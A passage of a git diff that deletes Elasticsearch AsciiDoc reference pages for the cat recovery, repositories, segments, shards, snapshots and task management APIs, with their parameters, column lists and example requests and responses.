-Returns information about ongoing and completed shard recoveries,
-similar to the <<indices-recovery, index recovery>> API.
-
-For data streams, the API returns information about the stream's backing
-indices.
-
-[[cat-recovery-api-request]]
-==== {api-request-title}
-
-`GET /_cat/recovery/<target>`
-
-`GET /_cat/recovery`
-
-[[cat-recovery-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API. You must
-also have the `monitor` or `manage` <<privileges-list-indices,index privilege>>
-for any data stream, index, or index alias you retrieve.
-
-[[cat-recovery-api-desc]]
-==== {api-description-title}
-
-The cat recovery API returns information about shard recoveries, both
-ongoing and completed. It is a more compact view of the JSON
-<<indices-recovery,index recovery>> API.
-
-include::{es-repo-dir}/indices/recovery.asciidoc[tag=shard-recovery-desc]
-
-
-[[cat-recovery-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[cat-recovery-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=active-only]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=detailed]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-query-parm]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-recovery-api-example]]
-==== {api-examples-title}
-
-[[cat-recovery-api-ex-dead]]
-===== Example with no ongoing recoveries
-
-[source,console]
-----------------------------------------------------------------------------
-GET _cat/recovery?v=true
-----------------------------------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-[source,txt]
----------------------------------------------------------------------------
-index             shard time type  stage source_host source_node target_host target_node repository snapshot files files_recovered files_percent files_total bytes bytes_recovered bytes_percent bytes_total translog_ops translog_ops_recovered translog_ops_percent
-my-index-000001   0     13ms store done  n/a         n/a         127.0.0.1   node-0      n/a        n/a      0     0               100%          13          0     0               100%          9928        0            0                      100.0%
----------------------------------------------------------------------------
-// TESTRESPONSE[s/store/empty_store/]
-// TESTRESPONSE[s/100%/0.0%/]
-// TESTRESPONSE[s/9928/0/]
-// TESTRESPONSE[s/13ms/[0-9.]+m?s/]
-// TESTRESPONSE[s/13/\\d+/ non_json]
-
-In this example response, the source and target nodes are the same because the
-recovery type is `store`, meaning they were read from local storage on node
-start.
-
-[[cat-recovery-api-ex-live]]
-===== Example with a live shard recovery
-
-By increasing the replica count of an index and bringing another node online to
-host the replicas, you can retrieve information about an ongoing recovery.
-
-[source,console]
-----------------------------------------------------------------------------
-GET _cat/recovery?v=true&h=i,s,t,ty,st,shost,thost,f,fp,b,bp
-----------------------------------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-[source,txt]
-----------------------------------------------------------------------------
-i               s t      ty   st    shost       thost       f     fp      b bp
-my-index-000001 0 1252ms peer done  192.168.1.1 192.168.1.2 0     100.0%  0 100.0%
-----------------------------------------------------------------------------
-// TESTRESPONSE[s/peer/empty_store/]
-// TESTRESPONSE[s/192.168.1.2/127.0.0.1/]
-// TESTRESPONSE[s/192.168.1.1/n\/a/]
-// TESTRESPONSE[s/100.0%/0.0%/]
-// TESTRESPONSE[s/1252ms/[0-9.]+m?s/ non_json]
-
-In this example response, the recovery type is `peer`, meaning the shard
-recovered from another node. The returned files and bytes are real-time
-measurements.
-
-[[cat-recovery-api-ex-snapshot]]
-===== Example with a snapshot recovery
-
-You can restore backups of an index using the <<modules-snapshots,snapshot and
-restore>> API. You can use the cat recovery API retrieve information about a
-snapshot recovery.
-
-[source,console]
---------------------------------------------------------------------------------
-GET _cat/recovery?v=true&h=i,s,t,ty,st,rep,snap,f,fp,b,bp
---------------------------------------------------------------------------------
-// TEST[skip:no need to execute snapshot/restore here]
-
-The API returns the following response with a recovery type of `snapshot`:
-
-[source,txt]
---------------------------------------------------------------------------------
-i               s t      ty       st    rep     snap   f  fp   b     bp
-my-index-000001 0 1978ms snapshot done  my-repo snap_1 79 8.0% 12086 9.0%
---------------------------------------------------------------------------------
-// TESTRESPONSE[non_json]
\ No newline at end of file
diff --git a/docs/reference/cat/repositories.asciidoc b/docs/reference/cat/repositories.asciidoc
deleted file mode 100644
index bdcf8a589ea..00000000000
--- a/docs/reference/cat/repositories.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[[cat-repositories]]
-=== cat repositories API
-++++
-<titleabbrev>cat repositories</titleabbrev>
-++++
-
-Returns the <<snapshots-repositories,snapshot repositories>> for a cluster.
-
-
-[[cat-repositories-api-request]]
-==== {api-request-title}
-
-`GET /_cat/repositories`
-
-[[cat-repositories-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`monitor_snapshot`, `create_snapshot`, or `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-repositories-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-repositories-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/repositories?v=true
---------------------------------------------------
-// TEST[s/^/PUT \/_snapshot\/repo1\n{"type": "fs", "settings": {"location": "repo\/1"}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id    type
-repo1   fs
-repo2   s3
---------------------------------------------------
-// TESTRESPONSE[s/\nrepo2   s3// non_json]
diff --git a/docs/reference/cat/segments.asciidoc b/docs/reference/cat/segments.asciidoc
deleted file mode 100644
index 7bc38e00777..00000000000
--- a/docs/reference/cat/segments.asciidoc
+++ /dev/null
@@ -1,136 +0,0 @@
-[[cat-segments]]
-=== cat segments API
-++++
-<titleabbrev>cat segments</titleabbrev>
-++++
-
-Returns low-level information about the https://lucene.apache.org/core/[Lucene]
-segments in index shards, similar to the <<indices-segments, indices segments>>
-API.
-
-For data streams, the API returns information about the stream's backing
-indices.
-
-[[cat-segments-api-request]]
-==== {api-request-title}
-
-`GET /_cat/segments/<target>`
-
-`GET /_cat/segments`
-
-[[cat-segments-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API. You must
-also have the `monitor` or `manage` <<privileges-list-indices,index privilege>>
-for any data stream, index, or index alias you retrieve.
-
-[[cat-segments-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[cat-segments-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
---
-If you do not specify which columns to include, the API returns the default
-columns in the order listed below. If you explicitly specify one or more
-columns, it only returns the specified columns.
-
-Valid columns are:
-
-`index`, `i`, `idx`::
-(Default) Name of the index.
-
-`shard`, `s`, `sh`::
-(Default) Name of the shard.
-
-`prirep`, `p`, `pr`, `primaryOrReplica`::
-(Default) Shard type. Returned values are `primary` or `replica`.
-
-`ip`::
-(Default) IP address of the segment's shard, such as `127.0.1.1`.
-
-`segment`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment]
-
-`generation`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=generation]
-
-`docs.count`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-count]
-                
-`docs.deleted`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=docs-deleted]
-
-`size`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment-size]
-
-`size.memory`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=memory]
-
-`committed`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=committed]
-
-`searchable`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment-search]
-
-`version`::
-(Default)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=segment-version]
-
-`compound`::
-(Default) If `true`, the segment is stored in a compound file. This means Lucene
-merged all files from the segment in a single file to save file descriptors.
-
-`id`::
-ID of the node, such as `k0zy`.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-segments-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/segments?v=true
---------------------------------------------------
-// TEST[s/^/PUT \/test\/test\/1?refresh\n{"test":"test"}\nPUT \/test1\/test\/1?refresh\n{"test":"test"}\n/]
-
-The API returns the following response:
-
-["source","txt",subs="attributes,callouts"]
---------------------------------------------------
-index shard prirep ip        segment generation docs.count docs.deleted size size.memory committed searchable version compound
-test  0     p      127.0.0.1 _0               0          1            0  3kb        2042 false     true       {lucene_version}   true
-test1 0     p      127.0.0.1 _0               0          1            0  3kb        2042 false     true       {lucene_version}   true
---------------------------------------------------
-// TESTRESPONSE[s/3kb/\\d+(\\.\\d+)?[mk]?b/ s/2042/\\d+/ non_json]
diff --git a/docs/reference/cat/shards.asciidoc b/docs/reference/cat/shards.asciidoc
deleted file mode 100644
index 54a79c2b999..00000000000
--- a/docs/reference/cat/shards.asciidoc
+++ /dev/null
@@ -1,406 +0,0 @@
-[[cat-shards]]
-=== cat shards API
-++++
-<titleabbrev>cat shards</titleabbrev>
-++++
-
-The `shards` command is the detailed view of what nodes contain which
-shards. It will tell you if it's a primary or replica, the number of
-docs, the bytes it takes on disk, and the node where it's located.
-
-For data streams, the API returns information about the stream's backing
-indices.
-
-
-[[cat-shards-api-request]]
-==== {api-request-title}
-
-`GET /_cat/shards/<target>`
-
-`GET /_cat/shards`
-
-[[cat-shards-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API. You must
-also have the `monitor` or `manage` <<privileges-list-indices,index privilege>>
-for any data stream, index, or index alias you retrieve.
-
-[[cat-shards-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[cat-shards-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
---
-If you do not specify which columns to include, the API returns the default
-columns in the order listed below. If you explicitly specify one or more
-columns, it only returns the specified columns.
-
-Valid columns are:
-
-`index`, `i`, `idx`::
-(Default) Name of the index.
-
-`shard`, `s`, `sh`::
-(Default) Name of the shard.
-
-`prirep`, `p`, `pr`, `primaryOrReplica`::
-(Default) Shard type. Returned values are `primary` or `replica`.
-
-`state`, `st`::
-(Default) State of the shard. Returned values are:
-+
-* `INITIALIZING`: The shard is recovering from a peer shard or gateway.
-* `RELOCATING`: The shard is relocating.
-* `STARTED`: The shard has started.
-* `UNASSIGNED`: The shard is not assigned to any node.
-
-`docs`, `d`, `dc`::
-(Default) Number of documents in shard, such as `25`.
-
-`store`, `sto`::
-(Default) Disk space used by the shard, such as `5kb`.
-
-`ip`::
-(Default) IP address of the node, such as `127.0.1.1`.
-
-`id`::
-(Default) ID of the node, such as `k0zy`.
-
-`node`, `n`::
-(Default) Node name, such as `I8hydUG`.
-
-`completion.size`, `cs`, `completionSize`::
-Size of completion, such as `0b`.
-
-`fielddata.memory_size`, `fm`, `fielddataMemory`::
-Used fielddata cache memory, such as `0b`.
-
-`fielddata.evictions`, `fe`, `fielddataEvictions`::
-Fielddata cache evictions, such as `0`.
-
-`flush.total`, `ft`, `flushTotal`::
-Number of flushes, such as `1`.
-
-`flush.total_time`, `ftt`, `flushTotalTime`::
-Time spent in flush, such as `1`.
-
-`get.current`, `gc`, `getCurrent`::
-Number of current get operations, such as `0`.
-
-`get.time`, `gti`, `getTime`::
-Time spent in get, such as `14ms`.
-
-`get.total`, `gto`, `getTotal`::
-Number of get operations, such as `2`.
-
-`get.exists_time`, `geti`, `getExistsTime`::
-Time spent in successful gets, such as `14ms`.
-
-`get.exists_total`, `geto`, `getExistsTotal`::
-Number of successful get operations, such as `2`.
-
-`get.missing_time`, `gmti`, `getMissingTime`::
-Time spent in failed gets, such as `0s`.
-
-`get.missing_total`, `gmto`, `getMissingTotal`::
-Number of failed get operations, such as `1`.
-
-`indexing.delete_current`, `idc`, `indexingDeleteCurrent`::
-Number of current deletion operations, such as `0`.
-
-`indexing.delete_time`, `idti`, `indexingDeleteTime`::
-Time spent in deletions, such as `2ms`.
-
-`indexing.delete_total`, `idto`, `indexingDeleteTotal`::
-Number of deletion operations, such as `2`.
-
-`indexing.index_current`, `iic`, `indexingIndexCurrent`::
-Number of current indexing operations, such as `0`.
-
-`indexing.index_time`, `iiti`, `indexingIndexTime`::
-Time spent in indexing, such as `134ms`.
-
-`indexing.index_total`, `iito`, `indexingIndexTotal`::
-Number of indexing operations, such as `1`.
-
-`indexing.index_failed`, `iif`, `indexingIndexFailed`::
-Number of failed indexing operations, such as `0`.
-
-`merges.current`, `mc`, `mergesCurrent`::
-Number of current merge operations, such as `0`.
-
-`merges.current_docs`, `mcd`, `mergesCurrentDocs`::
-Number of current merging documents, such as `0`.
-
-`merges.current_size`, `mcs`, `mergesCurrentSize`::
-Size of current merges, such as `0b`.
-
-`merges.total`, `mt`, `mergesTotal`::
-Number of completed merge operations, such as `0`.
-
-`merges.total_docs`, `mtd`, `mergesTotalDocs`::
-Number of merged documents, such as `0`.
-
-`merges.total_size`, `mts`, `mergesTotalSize`::
-Size of current merges, such as `0b`.
-
-`merges.total_time`, `mtt`, `mergesTotalTime`::
-Time spent merging documents, such as `0s`.
-
-`query_cache.memory_size`, `qcm`, `queryCacheMemory`::
-Used query cache memory, such as `0b`.
-
-`query_cache.evictions`, `qce`, `queryCacheEvictions`::
-Query cache evictions, such as `0`.
-
-`recoverysource.type`, `rs`::
-Type of recovery source.
-
-`refresh.total`, `rto`, `refreshTotal`::
-Number of refreshes, such as `16`.
-
-`refresh.time`, `rti`, `refreshTime`::
-Time spent in refreshes, such as `91ms`.
-
-`search.fetch_current`, `sfc`, `searchFetchCurrent`::
-Current fetch phase operations, such as `0`.
-
-`search.fetch_time`, `sfti`, `searchFetchTime`::
-Time spent in fetch phase, such as `37ms`.
-
-`search.fetch_total`, `sfto`, `searchFetchTotal`::
-Number of fetch operations, such as `7`.
-
-`search.open_contexts`, `so`, `searchOpenContexts`::
-Open search contexts, such as `0`.
-
-`search.query_current`, `sqc`, `searchQueryCurrent`::
-Current query phase operations, such as `0`.
-
-`search.query_time`, `sqti`, `searchQueryTime`::
-Time spent in query phase, such as `43ms`.
-
-`search.query_total`, `sqto`, `searchQueryTotal`::
-Number of query operations, such as `9`.
-
-`search.scroll_current`, `scc`, `searchScrollCurrent`::
-Open scroll contexts, such as `2`.
-
-`search.scroll_time`, `scti`, `searchScrollTime`::
-Time scroll contexts held open, such as `2m`.
-
-`search.scroll_total`, `scto`, `searchScrollTotal`::
-Completed scroll contexts, such as `1`.
-
-`segments.count`, `sc`, `segmentsCount`::
-Number of segments, such as `4`.
-
-`segments.memory`, `sm`, `segmentsMemory`::
-Memory used by segments, such as `1.4kb`.
-
-`segments.index_writer_memory`, `siwm`, `segmentsIndexWriterMemory`::
-Memory used by index writer, such as `18mb`.
-
-`segments.version_map_memory`, `svmm`, `segmentsVersionMapMemory`::
-Memory used by version map, such as `1.0kb`.
-
-`segments.fixed_bitset_memory`, `sfbm`, `fixedBitsetMemory`::
-Memory used by fixed bit sets for nested object field types and type filters for
-types referred in <<parent-join,`join`>> fields, such as `1.0kb`.
-
-`seq_no.global_checkpoint`, `sqg`, `globalCheckpoint`::
-Global checkpoint.
-
-`seq_no.local_checkpoint`, `sql`, `localCheckpoint`::
-Local checkpoint.
-
-`seq_no.max`, `sqm`, `maxSeqNo`::
-Maximum sequence number.
-
-`suggest.current`, `suc`, `suggestCurrent`::
-Number of current suggest operations, such as `0`.
-
-`suggest.time`, `suti`, `suggestTime`::
-Time spent in suggest, such as `0`.
-
-`suggest.total`, `suto`, `suggestTotal`::
-Number of suggest operations, such as `0`.
-
-`sync_id`::
-Sync ID of the shard.
-
-`unassigned.at`, `ua`::
-Time at which the shard became unassigned in
-{wikipedia}/List_of_UTC_time_offsets[Coordinated Universal
-Time (UTC)].
-
-`unassigned.details`, `ud`::
-Details about why the shard became unassigned.
-
-`unassigned.for`, `uf`::
-Time at which the shard was requested to be unassigned in
-{wikipedia}/List_of_UTC_time_offsets[Coordinated Universal
-Time (UTC)].
-
-[[reason-unassigned]]
-`unassigned.reason`, `ur`::
-Reason the shard is unassigned. Returned values are:
-+
-* `ALLOCATION_FAILED`: Unassigned as a result of a failed allocation of the shard.
-* `CLUSTER_RECOVERED`: Unassigned as a result of a full cluster recovery.
-* `DANGLING_INDEX_IMPORTED`: Unassigned as a result of importing a dangling index.
-* `EXISTING_INDEX_RESTORED`: Unassigned as a result of restoring into a closed index.
-* `INDEX_CREATED`: Unassigned as a result of an API creation of an index.
-* `INDEX_REOPENED`: Unassigned as a result of opening a closed index.
-* `NEW_INDEX_RESTORED`: Unassigned as a result of restoring into a new index.
-* `NODE_LEFT`: Unassigned as a result of the node hosting it leaving the cluster.
-* `REALLOCATED_REPLICA`: A better replica location is identified and causes the existing replica allocation to be cancelled.
-* `REINITIALIZED`: When a shard moves from started back to initializing.
-* `REPLICA_ADDED`: Unassigned as a result of explicit addition of a replica.
-* `REROUTE_CANCELLED`: Unassigned as a result of explicit cancel reroute command.
-
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-shards-api-example]]
-==== {api-examples-title}
-
-[[cat-shards-api-example-single]]
-===== Example with a single data stream or index
-
-[source,console]
----------------------------------------------------------------------------
-GET _cat/shards
----------------------------------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-[source,txt]
----------------------------------------------------------------------------
-my-index-000001 0 p STARTED 3014 31.1mb 192.168.56.10 H5dfFeA
----------------------------------------------------------------------------
-// TESTRESPONSE[s/3014/\\d+/]
-// TESTRESPONSE[s/31.1mb/\\d+(\.\\d+)?[kmg]?b/]
-// TESTRESPONSE[s/192.168.56.10/.*/]
-// TESTRESPONSE[s/H5dfFeA/node-0/ non_json]
-
-[[cat-shards-api-example-wildcard]]
-===== Example with a wildcard pattern
-
-If your cluster has many shards, you can use a wildcard pattern in the
-`<target>` path parameter to limit the API request.
-
-The following request returns information for any data streams or indices
-beginning with `my-index-`.
-
-[source,console]
----------------------------------------------------------------------------
-GET _cat/shards/my-index-*
----------------------------------------------------------------------------
-// TEST[setup:my_index]
-
-The API returns the following response:
-
-[source,txt]
----------------------------------------------------------------------------
-my-index-000001 0 p STARTED 3014 31.1mb 192.168.56.10 H5dfFeA
----------------------------------------------------------------------------
-// TESTRESPONSE[s/3014/\\d+/]
-// TESTRESPONSE[s/31.1mb/\\d+(\.\\d+)?[kmg]?b/]
-// TESTRESPONSE[s/192.168.56.10/.*/]
-// TESTRESPONSE[s/H5dfFeA/node-0/ non_json]
-
-
-[[relocation]]
-===== Example with a relocating shard
-
-[source,console]
----------------------------------------------------------------------------
-GET _cat/shards
----------------------------------------------------------------------------
-// TEST[skip:for now, relocation cannot be recreated]
-
-The API returns the following response:
-
-[source,txt]
----------------------------------------------------------------------------
-my-index-000001 0 p RELOCATING 3014 31.1mb 192.168.56.10 H5dfFeA -> -> 192.168.56.30 bGG90GE
----------------------------------------------------------------------------
-// TESTRESPONSE[non_json]
-
-The `RELOCATING` value in `state` column indicates the index shard is
-relocating.
-
-[[states]]
-===== Example with a shard states
-
-Before a shard is available for use, it goes through an `INITIALIZING` state.
-You can use the cat shards API to see which shards are initializing.
-
-[source,console]
----------------------------------------------------------------------------
-GET _cat/shards
----------------------------------------------------------------------------
-// TEST[skip:there is no guarantee to test for shards in initializing state]
-
-The API returns the following response:
-
-[source,txt]
----------------------------------------------------------------------------
-my-index-000001 0 p STARTED      3014 31.1mb 192.168.56.10 H5dfFeA
-my-index-000001 0 r INITIALIZING    0 14.3mb 192.168.56.30 bGG90GE
----------------------------------------------------------------------------
-// TESTRESPONSE[non_json]
-
-===== Example with reasons for unassigned shards
-
-The following request returns the `unassigned.reason` column, which indicates
-why a shard is unassigned. 
-
-
-[source,console]
----------------------------------------------------------------------------
-GET _cat/shards?h=index,shard,prirep,state,unassigned.reason
----------------------------------------------------------------------------
-// TEST[skip:for now]
-
-The API returns the following response:
-
-[source,txt]
----------------------------------------------------------------------------
-my-index-000001 0 p STARTED    3014 31.1mb 192.168.56.10 H5dfFeA
-my-index-000001 0 r STARTED    3014 31.1mb 192.168.56.30 bGG90GE
-my-index-000001 0 r STARTED    3014 31.1mb 192.168.56.20 I8hydUG
-my-index-000001 0 r UNASSIGNED ALLOCATION_FAILED
----------------------------------------------------------------------------
-// TESTRESPONSE[non_json]
diff --git a/docs/reference/cat/snapshots.asciidoc b/docs/reference/cat/snapshots.asciidoc
deleted file mode 100644
index 2bce47e3ed9..00000000000
--- a/docs/reference/cat/snapshots.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
-[[cat-snapshots]]
-=== cat snapshots API
-++++
-<titleabbrev>cat snapshots</titleabbrev>
-++++
-
-Returns information about the <<modules-snapshots,snapshots>> stored in one or
-more repositories. A snapshot is a backup of an index or running {es} cluster.
-
-
-[[cat-snapshots-api-request]]
-==== {api-request-title}
-
-`GET /_cat/snapshots/<repository>`
-
-[[cat-snapshots-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`monitor_snapshot`, `create_snapshot`, or `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-
-[[cat-snapshots-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-+
---
-(Required, string) Snapshot repository used to limit the request.
-
-If the repository fails during the request, {es} returns an error.
---
-
-
-[[cat-snapshots-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
---
-If you do not specify which columns to include, the API returns the default
-columns in the order listed below. If you explicitly specify one or more
-columns, it only returns the specified columns.
-
-Valid columns are:
-
-`id`, `snapshot`::
-(Default) ID of the snapshot, such as `snap1`.
-
-`repository`, `re`, `repo`::
-(Default) Name of the repository, such as `repo1`.
-
-`status`, `s`::
-(Default) State of the snapshot process. Returned values are:
-+
-* `FAILED`: The snapshot process failed.
-* `INCOMPATIBLE`: The snapshot process is incompatible with the current cluster
-version.
-* `IN_PROGRESS`: The snapshot process started but has not completed.
-* `PARTIAL`: The snapshot process completed with a partial success.
-* `SUCCESS`: The snapshot process completed with a full success.
-
-`start_epoch`, `ste`, `startEpoch`::
-(Default) {wikipedia}/Unix_time[Unix `epoch` time] at which
-the snapshot process started.
-
-`start_time`, `sti`, `startTime`::
-(Default) `HH:MM:SS` time at which the snapshot process started.
-
-`end_epoch`, `ete`, `endEpoch`::
-(Default) {wikipedia}/Unix_time[Unix `epoch` time] at which
-the snapshot process ended.
-
-`end_time`, `eti`, `endTime`::
-(Default) `HH:MM:SS` time at which the snapshot process ended.
-
-`duration`, `dur`::
-(Default) Time it took the snapshot process to complete in <<time-units,time
-units>>.
-
-`indices`, `i`::
-(Default) Number of indices in the snapshot.
-
-`successful_shards`, `ss`::
-(Default) Number of successful shards in the snapshot.
-
-`failed_shards`, `fs`::
-(Default) Number of failed shards in the snapshot.
-
-`total_shards`, `ts`::
-(Default) Total number of shards in the snapshot.
-
-`reason, `r`::
-Reason for any snapshot failures.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-`ignore_unavailable`::
-(Optional, Boolean) If `true`, the response does not include information from
-unavailable snapshots. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-snapshots-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/snapshots/repo1?v=true&s=id
---------------------------------------------------
-// TEST[s/^/PUT \/_snapshot\/repo1\/snap1?wait_for_completion=true\n/]
-// TEST[s/^/PUT \/_snapshot\/repo1\/snap2?wait_for_completion=true\n/]
-// TEST[s/^/PUT \/_snapshot\/repo1\n{"type": "fs", "settings": {"location": "repo\/1"}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id     status start_epoch start_time end_epoch  end_time duration indices successful_shards failed_shards total_shards
-snap1  FAILED 1445616705  18:11:45   1445616978 18:16:18     4.6m       1                 4             1            5
-snap2 SUCCESS 1445634298  23:04:58   1445634672 23:11:12     6.2m       2                10             0           10
---------------------------------------------------
-// TESTRESPONSE[s/FAILED/SUCCESS/ s/14456\d+/\\d+/ s/\d+(\.\d+)?(m|s|ms)/\\d+(\\.\\d+)?(m|s|ms)/]
-// TESTRESPONSE[s/\d+:\d+:\d+/\\d+:\\d+:\\d+/]
-// TESTRESPONSE[s/1                 4             1            5/\\d+ \\d+ \\d+ \\d+/]
-// TESTRESPONSE[s/2                10             0           10/\\d+ \\d+ \\d+ \\d+/]
-// TESTRESPONSE[non_json]
-
diff --git a/docs/reference/cat/tasks.asciidoc b/docs/reference/cat/tasks.asciidoc
deleted file mode 100644
index 261955235a1..00000000000
--- a/docs/reference/cat/tasks.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
-[[cat-tasks]]
-=== cat task management API
-++++
-<titleabbrev>cat task management</titleabbrev>
-++++
-
-beta::["The cat task management API is new and should still be considered a beta feature. The API may change in ways that are not backwards compatible.",{es-issue}51628]
-
-Returns information about tasks currently executing in the cluster,
-similar to the <<tasks,task management>> API.
-
-
-[[cat-tasks-api-request]]
-==== {api-request-title}
-
-`GET /_cat/tasks`
-
-[[cat-tasks-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-tasks-api-desc]]
-==== {api-description-title}
-
-The cat task management API returns information
-about tasks currently executing
-on one or more nodes in the cluster.
-It is a more compact view
-of the JSON <<tasks,task management>> API.
-
-
-[[cat-tasks-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=detailed]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-`nodes`::
-(Optional, string)
-Comma-separated list of node IDs or names used to limit the response. Supports
-wildcard (`*`) expressions.
-
-`parent_task_id`::
-(Optional, string)
-Parent task ID used to limit the response.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-tasks-api-response-codes]]
-==== {api-response-codes-title}
-
-include::{es-repo-dir}/cluster/tasks.asciidoc[tag=tasks-api-404]
-
-
-[[cat-tasks-api-examples]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET _cat/tasks?v=true
-----
-// TEST[skip:No tasks to retrieve]
-
-The API returns the following response:
-
-[source,console-result]
-----
